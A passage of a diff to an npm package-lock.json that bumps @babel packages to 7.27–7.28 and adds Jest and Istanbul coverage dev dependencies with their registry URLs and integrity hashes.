"^7.27.3" } }, "@babel/helper-optimise-call-expression": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz", - "integrity": "sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz", + "integrity": "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==", "dev": true, "requires": { - "@babel/types": "^7.25.9" + "@babel/types": "^7.27.1" } }, "@babel/helper-plugin-utils": { - "version": "7.26.5", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz", - "integrity": "sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", + "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==", "dev": true }, "@babel/helper-replace-supers": { - "version": "7.26.5", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.26.5.tgz", - "integrity": "sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.27.1.tgz", + "integrity": "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==", "dev": true, "requires": { - "@babel/helper-member-expression-to-functions": "^7.25.9", - "@babel/helper-optimise-call-expression": "^7.25.9", - "@babel/traverse": "^7.26.5" + "@babel/helper-member-expression-to-functions": "^7.27.1", + "@babel/helper-optimise-call-expression": "^7.27.1", + "@babel/traverse": "^7.27.1" } }, "@babel/helper-skip-transparent-expression-wrappers": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz", - "integrity": "sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz", + "integrity": "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==", "dev": true, "requires": { - "@babel/traverse": "^7.25.9", - "@babel/types": "^7.25.9" + "@babel/traverse": "^7.27.1", + "@babel/types": "^7.27.1" } }, "@babel/helper-string-parser": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz", - "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", "dev": true }, "@babel/helper-validator-identifier": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz", - "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz", + "integrity": "sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==", "dev": true }, "@babel/helper-validator-option": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz", - "integrity": "sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", "dev": true }, "@babel/helpers": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.26.10.tgz", - "integrity": "sha512-UPYc3SauzZ3JGgj87GgZ89JVdC5dj0AoetR5Bw6wj4niittNyFh6+eOGonYvJ1ao6B8lEa3Q3klS7ADZ53bc5g==", + "version": "7.27.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.27.6.tgz", + "integrity": "sha512-muE8Tt8M22638HU31A3CgfSUciwz1fhATfoVai05aPXGor//CdWDCbnlY1yvBPo07njuVOCNGCSp/GTt12lIug==", "dev": true, "requires": { - "@babel/template": "^7.26.9", - "@babel/types": "^7.26.10" + "@babel/template": "^7.27.2", + "@babel/types": "^7.27.6" } }, "@babel/parser": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.26.10.tgz", - "integrity": "sha512-6aQR2zGE/QFi8JpDLjUZEPYOs7+mhKXm86VaKFiLP35JQwQb6bwUE+XbvkH0EptsYhbNBSUGaUBLKqxH1xSgsA==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.0.tgz", + "integrity": "sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==", + "dev": true, + "requires": { + "@babel/types": "^7.28.0" + } + }, + "@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", "dev": true, "requires": { - "@babel/types": "^7.26.10" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-syntax-flow": { @@ -3741,32 +6165,131 @@ "@babel/helper-plugin-utils": "^7.25.9" } }, + "@babel/plugin-syntax-import-attributes": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.27.1.tgz", + "integrity": "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, "@babel/plugin-syntax-jsx": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz", - "integrity": "sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.27.1.tgz", + "integrity": "sha512-y8YTNIeKoyhGd9O0Jiyzyyqk8gdjnumGTQPsz0xOZOQ2RmkVJeZ1vmmfIvFEKqucBG6axJGBZDE/7iI5suUI/w==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-plugin-utils": "^7.27.1" + } + }, + "@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" + } + }, + "@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-syntax-typescript": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.9.tgz", - "integrity": "sha512-hjMgRy5hb8uJJjUcdWunWVcoi9bGpJp8p5Ol1229PoN6aytsLwNMgmdftO23wnCLMfVmTwZDWMPNq/D1SY60JQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.27.1.tgz", + "integrity": "sha512-xfYCBMxveHrRMnAWl1ZlPXOZjzkN82THFvLhQhFXFt81Z5HnN+EtUkZhv/zcKpmT3fzmWZB0ywiBrbC3vogbwQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-class-properties": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.25.9.tgz", - "integrity": "sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.27.1.tgz", + "integrity": "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.25.9", - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-flow-strip-types": { @@ -3780,55 +6303,55 @@ } }, "@babel/plugin-transform-modules-commonjs": { - "version": "7.26.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.26.3.tgz", - "integrity": "sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.27.1.tgz", + "integrity": "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.26.0", - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-nullish-coalescing-operator": { - "version": "7.26.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.26.6.tgz", - "integrity": "sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.27.1.tgz", + "integrity": "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.26.5" + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-optional-chaining": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.25.9.tgz", - "integrity": "sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.27.1.tgz", + "integrity": "sha512-BQmKPPIuc8EkZgNKsv0X4bPmOoayeu4F1YCwx2/CfmDSXDbp7GnzlUH+/ul5VGfRg1AoFPsrIThlEBj2xb4CAg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.25.9", - "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" } }, "@babel/plugin-transform-private-methods": { - "version": "7.25.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.25.9.tgz", - "integrity": "sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.27.1.tgz", + "integrity": "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.25.9", - "@babel/helper-plugin-utils": "^7.25.9" + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" } }, "@babel/plugin-transform-typescript": { - "version": "7.26.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.26.8.tgz", - "integrity": "sha512-bME5J9AC8ChwA7aEPJ6zym3w7aObZULHhbNLU0bKUhKsAkylkzUdq+0kdymh9rzi8nlNFl2bmldFBCKNJBUpuw==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.28.0.tgz", + "integrity": "sha512-4AEiDEBPIZvLQaWlc9liCavE0xRM0dNca41WtBeM3jgFptfUOSG9z0uteLhq6+3rq+WB6jIvUwKDTpXEHPJ2Vg==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.25.9", - "@babel/helper-create-class-features-plugin": "^7.25.9", - "@babel/helper-plugin-utils": "^7.26.5", - "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", - "@babel/plugin-syntax-typescript": "^7.25.9" + "@babel/helper-annotate-as-pure": "^7.27.3", + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", + "@babel/plugin-syntax-typescript": "^7.27.1" } }, "@babel/preset-flow": { @@ -3843,16 +6366,16 @@ } }, "@babel/preset-typescript": { - "version": "7.26.0", - "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.26.0.tgz", - "integrity": "sha512-NMk1IGZ5I/oHhoXEElcm+xUnL/szL6xflkFZmoEU9xj1qSJXpiS7rsspYo92B4DRCDvZn2erT5LdsCeXAKNCkg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.27.1.tgz", + "integrity": "sha512-l7WfQfX0WK4M0v2RudjuQK4u99BS6yLHYEmdtVPP7lKV013zr9DygFuWNlnbvQ9LR+LS0Egz/XAvGx5U9MX0fQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.25.9", - "@babel/helper-validator-option": "^7.25.9", - "@babel/plugin-syntax-jsx": "^7.25.9", - "@babel/plugin-transform-modules-commonjs": "^7.25.9", - "@babel/plugin-transform-typescript": "^7.25.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-validator-option": "^7.27.1", + "@babel/plugin-syntax-jsx": "^7.27.1", + "@babel/plugin-transform-modules-commonjs": "^7.27.1", + "@babel/plugin-transform-typescript": "^7.27.1" } }, "@babel/register": { @@ -3869,41 +6392,47 @@ } }, "@babel/template": { - "version": "7.26.9", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.26.9.tgz", - "integrity": "sha512-qyRplbeIpNZhmzOysF/wFMuP9sctmh2cFzRAZOn1YapxBsE1i9bJIY586R/WBLfLcmcBlM8ROBiQURnnNy+zfA==", + "version": "7.27.2", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", + "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", "dev": true, "requires": { - "@babel/code-frame": "^7.26.2", - "@babel/parser": "^7.26.9", - "@babel/types": "^7.26.9" + "@babel/code-frame": "^7.27.1", + "@babel/parser": "^7.27.2", + "@babel/types": "^7.27.1" } }, "@babel/traverse": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.26.10.tgz", - "integrity": "sha512-k8NuDrxr0WrPH5Aupqb2LCVURP/S0vBEn5mK6iH+GIYob66U5EtoZvcdudR2jQ4cmTwhEwW1DLB+Yyas9zjF6A==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.0.tgz", + "integrity": "sha512-mGe7UK5wWyh0bKRfupsUchrQGqvDbZDbKJw+kcRGSmdHVYrv+ltd0pnpDTVpiTqnaBru9iEvA8pz8W46v0Amwg==", "dev": true, "requires": { - "@babel/code-frame": "^7.26.2", - "@babel/generator": "^7.26.10", - "@babel/parser": "^7.26.10", - "@babel/template": "^7.26.9", - "@babel/types": "^7.26.10", - "debug": "^4.3.1", - "globals": "^11.1.0" + "@babel/code-frame": "^7.27.1", + "@babel/generator": "^7.28.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.28.0", + "@babel/template": "^7.27.2", + "@babel/types": "^7.28.0", + "debug": "^4.3.1" } }, "@babel/types": { - "version": "7.26.10", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.26.10.tgz", - "integrity": "sha512-emqcG3vHrpxUKTrxcblR36dcrcoRDvKmnL/dCL6ZsHaShW80qxCAcNhzQZrpeM765VzEos+xOi4s+r4IXzTwdQ==", + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.0.tgz", + "integrity": "sha512-jYnje+JyZG5YThjHiF28oT4SIZLnYOcSBb6+SDaFIyzDVSkXQmQQYclJ2R+YxcdmK0AX6x1E5OQNtuh3jHDrUg==", "dev": true, "requires": { - "@babel/helper-string-parser": "^7.25.9", - "@babel/helper-validator-identifier": "^7.25.9" + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1" } }, + "@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", + "dev": true + }, "@cspotcode/source-map-support": { "version": "0.8.1", "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", @@ -3913,6 +6442,37 @@ "@jridgewell/trace-mapping": "0.3.9" } }, + "@emnapi/core": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.4.3.tgz", + "integrity": "sha512-4m62DuCE07lw01soJwPiBGC0nAww0Q+RY70VZ+n49yDIO13yyinhbWCeNnaob0lakDtWQzSdtNWzJeOJt2ma+g==", + "dev": true, + "optional": true, + "requires": { + "@emnapi/wasi-threads": "1.0.2", + "tslib": "^2.4.0" + } + }, + "@emnapi/runtime": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.4.3.tgz", + "integrity": "sha512-pBPWdu6MLKROBX05wSNKcNb++m5Er+KQ9QkB+WVM+pW2Kx9hoSrVTnu3BdkI5eBLZoKu/J6mW/B6i6bJB2ytXQ==", + "dev": true, + "optional": true, + "requires": { + "tslib": "^2.4.0" + } + }, + "@emnapi/wasi-threads": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@emnapi/wasi-threads/-/wasi-threads-1.0.2.tgz", + "integrity": "sha512-5n3nTJblwRi8LlXkJ9eBzu+kZR8Yxcc7ubakyQTFzPMtIhFpUBRbsnc2Dv88IZDIbCDlBiWrknhB4Lsz7mg6BA==", + "dev": true, + "optional": true, + "requires": { + "tslib": "^2.4.0" + } + }, "@isaacs/cliui": { "version": "8.0.2", "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", @@ -3971,21 +6531,393 @@ "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", "dev": true, "requires": { - "ansi-styles": "^6.1.0", - "string-width": "^5.0.1", - "strip-ansi": "^7.0.1" + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + } + } + } + }, + "@istanbuljs/load-nyc-config": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz", + "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==", + "dev": true, + "requires": { + "camelcase": "^5.3.1", + "find-up": "^4.1.0", + "get-package-type": "^0.1.0", + "js-yaml": "^3.13.1", + "resolve-from": "^5.0.0" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true + }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, + "js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": 